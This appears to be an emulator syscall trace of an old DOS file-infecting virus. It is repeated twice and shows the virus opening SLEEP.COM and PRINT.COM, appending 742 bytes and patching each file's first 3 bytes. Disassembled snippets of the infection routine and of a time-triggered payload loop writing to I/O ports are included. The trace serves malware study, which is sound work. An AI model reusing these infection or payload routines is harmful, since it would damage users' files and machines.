2018-12-25T12:02:52.785782615Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.792326905Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.793730414Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.797296352Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.80420031Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.80567625Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.815638662Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.817546175Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.823905327Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.82642333Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.834953639Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.844510329Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.845522465Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.847051055Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.848035801Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.848940748Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.851681497Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.857641222Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.860129449Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.866441461Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.878688228Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.885033025Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.88792857Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.889927603Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.896221919Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.898285906Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.906677199Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:52.908634935Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.919535291Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:52.921446844Z 62 PC: 12c5c | Close file
2018-12-25T12:02:52.930460736Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:52.940877917Z 26 PC: 12c78 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":7,"TimeBased":true,"OriginalID":7868,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:52.790057772Z 48 PC: 12d51 | Get DOS version
2018-12-25T12:02:52.79197879Z 47 PC: 12d5d | Get disk transfer address
2018-12-25T12:02:52.794064685Z 26 PC: 12d70 | Set disk transfer address
2018-12-25T12:02:52.805845468Z 44 PC: 12d80 | Get time 0x12d80: and dh, 7
0x12d83: jne 0x12da0
0x12d85: jmp 0x12da3
0x12d87: nop
0x12d88: mov ax, 0x508
0x12d8b: mov cx, 0x8001
0x12d8e: mov dx, 0
0x12d91: int 0xd
0x12d93: xor al, al
0x12d95: mov dx, 0x9fff
0x12d98: out dx, al
0x12d99: dec dx
0x12d9a: jne 0x12d98
0x12d9c: inc al
0x12d9e: jmp 0x12d95
0x12da0: jmp 0x12dc3
0x12da2: nop
0x12da3: mov al, byte ptr [0x373]
0x12da6: call 0x12db6
0x12da9: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.80871482Z 78 PC: 12e4e | Find first file
2018-12-25T12:02:52.81566807Z 67 PC: 12e8c | Get or set file attributes
2018-12-25T12:02:52.821856304Z 67 PC: 12e9e | Get or set file attributes
2018-12-25T12:02:52.846256876Z 61 PC: 12ea9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:52.855783414Z 87 PC: 12eb5 | Get or set file date and time
2018-12-25T12:02:52.85795177Z 44 PC: 12ec1 | Get time 0x12ec1: and dh, 7
0x12ec4: jmp 0x12ec7
0x12ec6: nop
0x12ec7: mov ah, 0x3f
0x12ec9: mov cx, 3
0x12ecc: mov dx, 0x2f
0x12ecf: nop
0x12ed0: add dx, si
0x12ed2: int 0x21
0x12ed4: jb 0x12f2b
0x12ed6: cmp ax, 3
0x12ed9: jne 0x12f2b
0x12edb: mov ax, 0x4202
0x12ede: mov cx, 0
0x12ee1: mov dx, 0
0x12ee4: int 0x21
0x12ee6: jb 0x12f2b
0x12ee8: mov cx, ax
0x12eea: sub ax, 3
0x12eed: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.860936801Z 63 PC: 12ed4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.880820972Z 66 PC: 12ee6 | Move file pointer
2018-12-25T12:02:52.883326939Z 64 PC: 12f0a | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:52.893898344Z 66 PC: 12f1c | Move file pointer
2018-12-25T12:02:52.897135293Z 64 PC: 12f2b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:52.906183758Z 87 PC: 12f3e | Get or set file date and time
2018-12-25T12:02:52.907892549Z 62 PC: 12f42 | Close file
2018-12-25T12:02:52.921120626Z 67 PC: 12f51 | Get or set file attributes
2018-12-25T12:02:52.933377426Z 26 PC: 12f5e | Set disk transfer address
2018-12-25T12:02:52.934475132Z 48 PC: 12a6b | Get DOS version
2018-12-25T12:02:52.93672553Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T12:02:52.938283813Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T12:02:52.939599118Z 44 PC: 12a9a | Get time 0x12a9a: and dh, 7
0x12a9d: jne 0x12aba
0x12a9f: jmp 0x12abd
0x12aa1: nop
0x12aa2: mov ax, 0x508
0x12aa5: mov cx, 0x8001
0x12aa8: mov dx, 0
0x12aab: int 0xd
0x12aad: xor al, al
0x12aaf: mov dx, 0x9fff
0x12ab2: out dx, al
0x12ab3: dec dx
0x12ab4: jne 0x12ab2
0x12ab6: inc al
0x12ab8: jmp 0x12aaf
0x12aba: jmp 0x12add
0x12abc: nop
0x12abd: mov al, byte ptr [0x373]
0x12ac0: call 0x12ad0
0x12ac3: cmp byte ptr [0x373], 0x19
2018-12-25T12:02:52.942458765Z 78 PC: 12b68 | Find first file
2018-12-25T12:02:52.951134268Z 79 PC: 12b6e | Find next file
2018-12-25T12:02:52.954445019Z 67 PC: 12ba6 | Get or set file attributes
2018-12-25T12:02:52.96113352Z 67 PC: 12bb8 | Get or set file attributes
2018-12-25T12:02:52.973259439Z 61 PC: 12bc3 | Open file (Filename = 'PRINT.COM')
2018-12-25T12:02:52.981088346Z 87 PC: 12bcf | Get or set file date and time
2018-12-25T12:02:52.983064661Z 44 PC: 12bdb | Get time 0x12bdb: and dh, 7
0x12bde: jmp 0x12be1
0x12be0: nop
0x12be1: mov ah, 0x3f
0x12be3: mov cx, 3
0x12be6: mov dx, 0x2f
0x12be9: nop
0x12bea: add dx, si
0x12bec: int 0x21
0x12bee: jb 0x12c45
0x12bf0: cmp ax, 3
0x12bf3: jne 0x12c45
0x12bf5: mov ax, 0x4202
0x12bf8: mov cx, 0
0x12bfb: mov dx, 0
0x12bfe: int 0x21
0x12c00: jb 0x12c45
0x12c02: mov cx, ax
0x12c04: sub ax, 3
0x12c07: mov word ptr [si + 0x33], ax
2018-12-25T12:02:52.986041314Z 63 PC: 12bee | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:02:52.994382702Z 66 PC: 12c00 | Move file pointer
2018-12-25T12:02:52.996222694Z 64 PC: 12c24 | Write file or device (Write 742 bytes on handle 5)
2018-12-25T12:02:53.01855986Z 66 PC: 12c36 | Move file pointer
2018-12-25T12:02:53.020588136Z 64 PC: 12c45 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:02:53.028115171Z 87 PC: 12c58 | Get or set file date and time
2018-12-25T12:02:53.032311759Z 62 PC: 12c5c | Close file
2018-12-25T12:02:53.041050358Z 67 PC: 12c6b | Get or set file attributes
2018-12-25T12:02:53.052850779Z 26 PC: 12c78 | Set disk transfer address